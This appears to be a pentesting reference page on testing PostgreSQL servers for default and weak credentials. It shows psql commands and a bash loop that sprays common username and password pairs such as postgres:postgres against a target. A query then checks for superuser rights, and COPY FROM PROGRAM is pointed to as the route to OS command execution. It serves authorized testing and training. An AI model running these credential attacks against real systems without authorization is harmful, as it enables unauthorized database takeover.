Skip to content
HackIndex logo

HackIndex

PostgreSQL Weak and Default Credential Check

2 min read Mar 26, 2026

PostgreSQL installations frequently ship with the default postgres superuser account and a weak or empty password. Application deployments often use predictable credentials for their database accounts. Checking these before running a full brute-force is faster and quieter. A single valid credential against the superuser account gives full database access and typically leads directly to OS command execution through COPY FROM PROGRAM.

Test Default postgres Credentials

┌──(kali㉿kali)-[~]
└─$ psql -h $TARGET_IP -p ${PORT:-5432} -U postgres -d postgres -c 'SELECT version();' 2>&1
┌──(kali㉿kali)-[~]
└─$ PGPASSWORD=postgres psql -h $TARGET_IP -p ${PORT:-5432} -U postgres -d postgres -c 'SELECT current_user;' 2>&1

Test the most common default credential pairs manually before automating:

┌──(kali㉿kali)-[~]
└─$ for cred in 'postgres:postgres' 'postgres:password' 'postgres:admin' 'postgres:123456' 'postgres:' 'admin:admin' 'admin:password'; do user=${cred%%:*}; pass=${cred##*:}; result=$(PGPASSWORD=$pass psql -h $TARGET_IP -p ${PORT:-5432} -U $user -d postgres -c 'SELECT 1;' 2>&1); echo "$cred: $(echo $result | grep -q '1 row' && echo VALID || echo invalid)"; done 
postgres:postgres: VALID

Confirm Privilege Level After a Hit

Once valid credentials are found, confirm the role attributes before proceeding to exploitation:

┌──(kali㉿kali)-[~]
└─$ PGPASSWORD=$PASSWORD psql -h $TARGET_IP -p ${PORT:-5432} -U $USER -d postgres -c "SELECT rolname, rolsuper, rolcreaterole, rolcreatedb FROM pg_roles WHERE rolname = current_user;"

A superuser account proceeds directly to COPY FROM PROGRAM exploitation. A non-superuser account with CREATEROLE may be escalatable. See the privilege detection page for the full picture before choosing an exploitation path.

References